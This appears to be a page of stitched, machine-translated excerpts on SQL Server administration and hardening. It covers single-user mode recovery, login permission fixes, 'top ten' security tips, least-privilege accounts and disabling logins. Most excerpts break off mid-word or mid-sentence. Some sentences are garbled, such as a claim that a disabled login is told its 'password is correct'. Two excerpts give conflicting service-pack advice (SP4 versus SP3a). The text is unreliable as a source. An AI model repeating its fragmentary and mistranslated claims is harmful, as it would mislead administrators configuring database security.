recover damaged system databases. When SQL Server is started in single-user mode, any member of the local Administrators Group can be connected as a member of the sysadmin Server role to the SQL Server database engine (instance ). Note:: Stop the SQL Server Agent service before starting in single-user mode to prevent the SQL Server Agent from occupying this unique connection. 1. Enable single-user mode 1. Open SSCM (SQL Server Configuration Manager

Problem description: After logging on to the database with the newly created account, only the system database is found, and the system prompts "data cannot be retrieved for this request" Solution: use an account with sysadmin permissions to log on, and right-click the new user name in "security"-"login name, in the displayed "Logon properties" dialog box, select "ser

This section describes ten things you can do to improve the security of SQL Server installation: Install the latest service package To improve Server security, the most effective method is to upgrade to SQL Server 2000 Service Pack 4 (SP4 ). In addition, you should install all released security updates. Use the Microsoft Baseline Security Analyzer (MBSA) to evaluate server security. MBSA is a tool that scans insecure configurations of multiple Microsoft products, including SQL Server and Microso

The increasing growth of SQL Server databases has attracted a kind of attention. At the same time, those images are still coming. In order to protect the SQL Server database, to protect it from malicious damage or data loss, the top ten tricks will solve these concerns for you. 1. install the latest service package To improve Server security, the most effective method is to upgrade to SQL Server 2000 Service Pack 3a (SP3a). In addition, you should install all released security updates. 2. Use Mi

Do not use sa for accounts connecting ASP programs to SQL Server, or any accounts belonging to the Sysadmin group. do not have high permissions for application services, A general user with the db_owner permission should be used to connect to the database.2. The WEB application Server and the DB Server use different machines for storage, and it is best to use the firewall to perform logical isolation between them, because apart from the SQL Server

This permission improvement occurs because these roles can modify the integration services package, while SQL server can use the SysAdmin security context of the SQL Server proxy to execute the integration services package. To prevent this permission escalation when running maintenance plans, data collection groups, and other integration services packages, configure the SQL Server

If you select "Disable" in "Logon", the statement is executed:Alter login [user_xxgl] disable At this time, no matter whether the DBMS finds that the user currently attempting to connect is user_xxgl and the user enters the correct password information, it prompts the user that the user has been suspended and the password is correct.
